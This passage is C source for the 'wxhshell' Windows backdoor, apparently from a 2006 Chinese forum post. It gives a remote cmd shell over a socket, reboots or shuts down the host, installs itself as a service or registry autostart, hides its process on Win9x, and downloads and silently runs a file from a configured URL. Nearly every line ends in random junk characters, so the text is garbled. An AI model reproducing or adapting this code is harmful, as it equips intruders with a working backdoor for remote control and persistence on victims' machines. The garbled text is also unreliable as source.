    switch(cmd[0]) { 2l5KJlfj>k  
  V,EF'-F  
  // 帮助 nY $tp  
  case '?': { iq*A("pU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UofTll)  
    break; ^zEE6i  
  } 7~M<cD  
  // 安装 eo^/c +FG  
  case 'i': { $j)hNWI  
    if(Install()) 2AVc? 9@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XN,,cU  
    else F^!mI7Z|(2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mKq"3 4F  
    break; M`D$!BJr  
    } UK*qKj. )  
  // 卸载 2q} ..  
  case 'r': { HEA eo!  
    if(Uninstall()) >5T_g2pkv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9j*0D("  
    else N~ANjn/wL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\#Fd  
    break; BKU'`5`  
    } ~YCuO0t  
  // 显示 wxhshell 所在路径 >6Lm9&}  
  case 'p': { Fl>]&x*~  
    char svExeFile[MAX_PATH]; 7m5Co>NkuK  
    strcpy(svExeFile,"\n\r"); dRvin[R8  
      strcat(svExeFile,ExeFile); y33~HsOJ  
        send(wsh,svExeFile,strlen(svExeFile),0); ;1DdjETr  
    break; #~qAHJ<  
    } f+vVR1  
  // 重启 7.bN99{xPM  
  case 'b': { vuz4qCQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [FQ\I-GNC  
    if(Boot(REBOOT)) c#xP91.m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OuIv e>8  
    else { u~Tg&0V30  
    closesocket(wsh); > 7`&0?  
    ExitThread(0); ZEbLL4n  
    } =FW5Tkw0  
    break; AW5iV3  
    } y,+[$u7h  
  // 关机 @LLTB(@wR  
  case 'd': { \)m"3yY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GIHpSy`z  
    if(Boot(SHUTDOWN)) 'PdmI<eXQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '~-IV0v9  
    else { h[XGC =%  
    closesocket(wsh); 6xgv:,  
    ExitThread(0); BQ05`nkF  
    } ^&c$[~W  
    break; hv)7H)|l~]  
    } Sav`%0q?7a  
  // 获取shell POU}/e!Ua  
  case 's': { . gZZCf&?  
    CmdShell(wsh); N b3$4(F  
    closesocket(wsh); & 7QH^  
    ExitThread(0); 8V4V3^_xs  
    break; /c+)C"  
  } nb dGt  
  // 退出 EH`0  
  case 'x': { UCqs}U8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gg0#H^s( (  
    CloseIt(wsh); J.M.L$  
    break; [EHrIn  
    } evl -V>   
  // 离开 'zgvQMu  
  case 'q': { 't>r sp+#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K}I0o!(#  
    closesocket(wsh); ipKG!  
    WSACleanup(); \k&1*b?h  
    exit(1); a5`eyL[f  
    break; }WP-W  
        } ;MTz]c  
  } I>w^2 (y  
  } 9Yw]Y5l  
WO%h"'iJ  
  // 提示信息 M/jb}*xDR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =L 0fZf  
} fU*C/ d3  
  } ,9/5T:2  
Ex($  
  return; 6GOcI#C9C  
} -Fwh3F 4g  
? J|4l[x  
// shell模块句柄 'm1.X-$V  
int CmdShell(SOCKET sock) k7bl'zic  
{ lg/sMF>z\f  
STARTUPINFO si; K=kH%ZK  
ZeroMemory(&si,sizeof(si)); z<a2cQ?XQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! sYf<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #w~0uCzQ@  
PROCESS_INFORMATION ProcessInfo; B7 "Fp  
char cmdline[]="cmd"; ,8 SWe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?ei%RWo  
  return 0; B3L4F"  
} }]h \/,  
*PB/iVH%6  
// 自身启动模式 m<fA|9 F#  
int StartFromService(void) yU`: IMz  
{ \C\gn]Z  
typedef struct   8Uj:  
{ { R*Y=Ie  
  DWORD ExitStatus; 6/y* 2z;  
  DWORD PebBaseAddress; ZC\mxBy  
  DWORD AffinityMask; $Qq_qTJu?G  
  DWORD BasePriority; >rRf9wO1l  
  ULONG UniqueProcessId; NV!4(_~  
  ULONG InheritedFromUniqueProcessId; Hhf72IX  
}   PROCESS_BASIC_INFORMATION; Wu{&;$  
=WRO\lgv.  
PROCNTQSIP NtQueryInformationProcess; 3hJH(ToO  
Dt {')  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y. TYc;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _bQL[eXd  
tBl#o ^  
  HANDLE             hProcess; /VtlG+dLl  
  PROCESS_BASIC_INFORMATION pbi; w4OW4J#  
UA0tFeH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YmCbxYa7  
  if(NULL == hInst ) return 0; 4_< nQ9K  
U?6yke  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^uBwj }6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (n=Aa;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?Y!^I2Y6  
@W [{2d  
  if (!NtQueryInformationProcess) return 0; i_YW;x  
97x%2.\:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;tN4HiN  
  if(!hProcess) return 0;  [`bZ5*&  
6~:+:;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y2vj}9jK  
e-!?[Ujv*%  
  CloseHandle(hProcess); "w^Nu6  
& >b+loF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _sm;HH7'*  
if(hProcess==NULL) return 0; 4Bo<4 4-,  
C >kmIw'  
HMODULE hMod; o>K &D$J;O  
char procName[255]; DrFur(=T  
unsigned long cbNeeded; 3jg'1^c  
y1Z1=U*!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GXEcpc08  
4@))OD^x  
  CloseHandle(hProcess); KZi' v6  
KZ4zF  
if(strstr(procName,"services")) return 1; // 以服务启动 1*#bfeoM  
5h(jeT8"  
  return 0; // 注册表启动 u7(];  
} =f4< ({9  
h+xA?[ c=  
// 主模块 4a 4N C  
int StartWxhshell(LPSTR lpCmdLine) B<C&ay  
{ /.2u.G  
  SOCKET wsl; e7's)C>/'  
BOOL val=TRUE; eRVY.E<  
  int port=0; =?+w)(*0c  
  struct sockaddr_in door; xtsL8-u f  
4[(? L{  
  if(wscfg.ws_autoins) Install(); Lv3XYZgW~  
:B+Rg cqi  
port=atoi(lpCmdLine); To^# 0  
/THNP 8.  
if(port<=0) port=wscfg.ws_port; 6ZTaQPtm  
Zr9d&|$  
  WSADATA data; W1<.OO\J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a G@nErdW  
yYBNH1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A8mlw#`E8b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RCCv>o  
  door.sin_family = AF_INET; =1Ri]b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O*ImLR)i+s  
  door.sin_port = htons(port); 1M=   
iW;}%$lVX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dWjx"7^  
closesocket(wsl);  /+N|X  
return 1; >.n;mk  
} 5<^'Cy  
\{:%v#ZZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 1ThwvF%Qo  
closesocket(wsl); >kZ6f4  
return 1; g?gqkoI  
} psu OJ-  
  Wxhshell(wsl); d<_NB]V&F  
  WSACleanup(); s`r-v/3l  
Ia'x]#~  
return 0; u8^Y,LN  
W?=$V>)  
} 7Zo&+  
PE|PwqX  
// 以NT服务方式启动 =g >.X9lr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \a?K?v|8  
{ [u7 vY@  
DWORD   status = 0; PqVW'FYe  
  DWORD   specificError = 0xfffffff; Y>G*'[U  
/ =-6:L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (Hl8U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8s~\iuk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q%I#{+OT  
  serviceStatus.dwWin32ExitCode     = 0; hR!}u}ECd  
  serviceStatus.dwServiceSpecificExitCode = 0; \hrrPPD1z  
  serviceStatus.dwCheckPoint       = 0; %N>\:8 5?  
  serviceStatus.dwWaitHint       = 0; 8.[&wy U  
K]ca4Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bI#<Ee0nJ  
  if (hServiceStatusHandle==0) return; 5Yn{?r\#F  
W  _J&M4  
status = GetLastError(); ) b/n)%6  
  if (status!=NO_ERROR) ENO? ;  
{ b~jIv:9T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; epn#qeX  
    serviceStatus.dwCheckPoint       = 0; !O 4<I_EY{  
    serviceStatus.dwWaitHint       = 0; 6zv;lx0<D&  
    serviceStatus.dwWin32ExitCode     = status; amMjuyW  
    serviceStatus.dwServiceSpecificExitCode = specificError; GKiq0*/M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {=s:P|ah  
    return; "havi,m  
  } ^Wif!u/HM  
sw[oQ!f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \QliHm!  
  serviceStatus.dwCheckPoint       = 0; I/Sv"X6E  
  serviceStatus.dwWaitHint       = 0; qw|JJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o>@=N2n  
} sZ]'DH&_(  
_2]O^$L  
// 处理NT服务事件,比如:启动、停止 ;CA ?eI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #FEa 5  
{ UOw~rK   
switch(fdwControl) |3S'8Oe CI  
{  NvUu.  
case SERVICE_CONTROL_STOP: ud yAP>  
  serviceStatus.dwWin32ExitCode = 0; ]{(l;k9=e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m dC`W&r  
  serviceStatus.dwCheckPoint   = 0; iD.0J/  
  serviceStatus.dwWaitHint     = 0; Y 5Qb4Sa  
  {  dhZ Zb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }iD$4\ L  
  } GhtbQM1[H  
  return; K?9WY ]Ot  
case SERVICE_CONTROL_PAUSE: XpR.rq$]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "EN98^ Sl  
  break; UHr {  
case SERVICE_CONTROL_CONTINUE: {cmo^~[L$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ok%EqO  
  break; ,>&?ty9o  
case SERVICE_CONTROL_INTERROGATE: $[j-C9W  
  break; 5LO4P>fq  
}; O|? Z~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?E%U|(S)=L  
} &aY/eD  
5woIGO3X  
// 标准应用程序主函数 KLG6QBkj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4sj9Z:  
{ +Y^-e.UO  
'uPxEu4 >4  
// 获取操作系统版本 Sc%aJ1  
OsIsNt=GetOsVer(); /z/hUa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *Hx j_  
Jz=;mrW  
  // 从命令行安装 |VTWw<{LX  
  if(strpbrk(lpCmdLine,"iI")) Install(); V/`#B$6  
l{nB.m2  
  // 下载执行文件 )\um "l*\c  
if(wscfg.ws_downexe) { =]!8:I?C<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,D:iQDG^  
  WinExec(wscfg.ws_filenam,SW_HIDE); $/NGNkl[  
} C]yvK}  
o~Bk0V=  
if(!OsIsNt) { J f\Qf  
// 如果时win9x,隐藏进程并且设置为注册表启动 8o!  
HideProc(); )WaX2uDA?  
StartWxhshell(lpCmdLine); _u#/u2<  
} Qe7" Z  
else <dq,y>  
  if(StartFromService()) $/4Wod*l  
  // 以服务方式启动 h |s*i  
  StartServiceCtrlDispatcher(DispatchTable); R'vdk<  
else 3js)niT9u  
  // 普通方式启动 E^oEG4 X@  
  StartWxhshell(lpCmdLine); 3Qqnw{*  
-X`~;=m>U  
return 0; gcX5Q^`a=  
}
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只看该作者 1 发表于: 2006-10-10
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